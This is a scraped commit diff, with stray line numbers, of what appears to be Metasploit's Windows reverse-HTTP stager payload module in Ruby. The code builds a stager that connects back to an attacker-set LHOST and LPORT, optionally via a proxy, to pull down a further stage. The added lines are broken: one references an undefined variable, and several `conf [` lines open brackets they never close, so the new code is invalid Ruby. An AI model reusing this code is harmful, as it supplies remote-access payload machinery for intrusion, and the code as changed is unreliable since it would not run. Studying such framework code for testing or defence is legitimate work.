8
8
9
9
module Msf
10
10
11
-
12
11
###
13
12
#
14
13
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S)
15
14
#
16
15
###
17
16
18
-
19
17
module Payload ::Windows ::ReverseHttp
20
18
21
19
include Msf ::TransportConfig
@@ -29,8 +27,7 @@ module Payload::Windows::ReverseHttp
29
27
#
30
28
def initialize ( *args )
31
29
super
32
- register_advanced_options (
33
- [
30
+ register_advanced_options ( [
34
31
OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
35
32
OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails' , 10 ] ) ,
36
33
OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
@@ -44,31 +41,27 @@ def initialize(*args)
44
41
#
45
42
# Generate the first stage
46
43
#
47
- def generate
48
- # Generate the simple version of this stager if we don't have enough space
49
- if self . available_space . nil? || required_space > self . available_space
50
- return generate_reverse_http (
51
- ssl : false ,
52
- host : datastore [ 'LHOST' ] ,
53
- port : datastore [ 'LPORT' ] ,
54
- url : generate_small_uri ,
55
- retry_count : datastore [ 'StagerRetryCount' ] )
56
- end
57
-
44
+ def generate ( opts = { } )
58
45
conf = {
59
- ssl : false ,
60
- host : datastore [ 'LHOST' ] ,
61
- port : datastore [ 'LPORT' ] ,
62
- url : generate_uri ,
63
- exitfunk : datastore [ 'EXITFUNC' ] ,
64
- proxy_host : datastore [ 'PayloadProxyHost' ] ,
65
- proxy_port : datastore [ 'PayloadProxyPort' ] ,
66
- proxy_user : datastore [ 'PayloadProxyUser' ] ,
67
- proxy_pass : datastore [ 'PayloadProxyPass' ] ,
68
- proxy_type : datastore [ 'PayloadProxyType' ] ,
69
- retry_count : datastore [ 'StagerRetryCount' ]
46
+ :ssl => opts [ ssl ] || false ,
47
+ :host => datastore [ 'LHOST' ] ,
48
+ :port => datastore [ 'LPORT' ] ,
49
+ :url => generate_small_uri ,
50
+ :retry_count => datastore [ 'StagerRetryCount' ]
70
51
}
71
52
53
+ # Add extra options if we have enough space
54
+ unless self . available_space . nil? || required_space > self . available_space
55
+ conf [ :url => generate_uri ,
56
+ conf [ :exitfunk => datastore [ 'EXITFUNC' ] ,
57
+ conf [ :proxy_host => datastore [ 'PayloadProxyHost' ] ,
58
+ conf [ :proxy_port => datastore [ 'PayloadProxyPort' ] ,
59
+ conf [ :proxy_user => datastore [ 'PayloadProxyUser' ] ,
60
+ conf [ :proxy_pass => datastore [ 'PayloadProxyPass' ] ,
61
+ conf [ :proxy_type => datastore [ 'PayloadProxyType' ] ,
62
+ conf [ :retry_count => datastore [ 'StagerRetryCount' ]
63
+ end
64
+
72
65
generate_reverse_http ( conf )
73
66
end
74
67
0 commit comments